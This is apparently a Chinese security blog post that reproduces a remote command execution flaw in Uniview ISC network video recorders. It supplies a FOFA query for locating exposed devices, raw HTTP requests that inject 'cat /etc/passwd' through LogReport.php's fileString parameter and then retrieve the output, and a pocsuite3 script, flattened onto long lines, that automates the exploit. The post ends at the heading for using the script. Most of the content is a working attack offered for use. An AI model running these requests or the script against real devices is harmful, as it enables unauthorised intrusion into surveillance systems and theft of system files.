漏洞复现-浙江宇视 isc LogReport.php 远程命令执行漏洞（附漏洞检测脚本）

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漏洞描述

浙江宇视isc网络视频录像机LogReport.php存在远程命令执行漏洞。

fofa语句

body="Alarm" && country="CN" && body="白牌定制"

poc语句加检测

GET /Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;cat+/etc/passwd%3Eqwer1234.txt HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=7b9bab286911f705a76e3c9cb5a14507; logintime=-; devLanguage=zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0GET /Interface/LogReport/qwer1234.txt HTTP/1.1
Host: 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

poc脚本

脚本用的pocsuite框架

# -*- coding: utf-8 -*-
# 2023/12/11 16:43from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptStringclass yushi_isc_logreport_RCE(POCBase):author = '炼金术师诸葛亮'createDate = '2023-12-11'name = 'yushi-isc-logreport-RCE'appName = 'yushi-isc-logreport-RCE'vulType = 'Command Execution'  # 漏洞类型，参见漏洞类型规范表desc = '浙江宇视 isc 网络视频录像机 LogReport.php 远程命令执行漏洞'  # 漏洞简要描述def _verify(self):result = {}path = "/Interface/LogReport/LogReport.php"  # 参数url = self.url + pathpayload = "?action=execUpdate&fileString=x%3bcat%20/etc/passwd%3eqwer1234.txt"  # payloadheaders = {'Cookie': 'PHPSESSID=7b9bab286911f705a76e3c9cb5a14507; logintime=-; devLanguage=zh-CN','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Connection': 'close'}r = requests.get(url + payload,headers=headers)print(r.text)# 验证成功输出相关信息if r.status_code == 200:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Name'] = payloadreturn self.parse_output(result)def _attack(self):result = {}path = "/Interface/LogReport/qwer1234.txt"url = self.url + pathheaders2={'Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'}r = requests.get(url,headers=headers2)if r and r.status_code == 200 and "root" in r.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Resp'] = r.textreturn self.parse_output(result)register_poc(yushi_isc_logreport_RCE)

脚本利用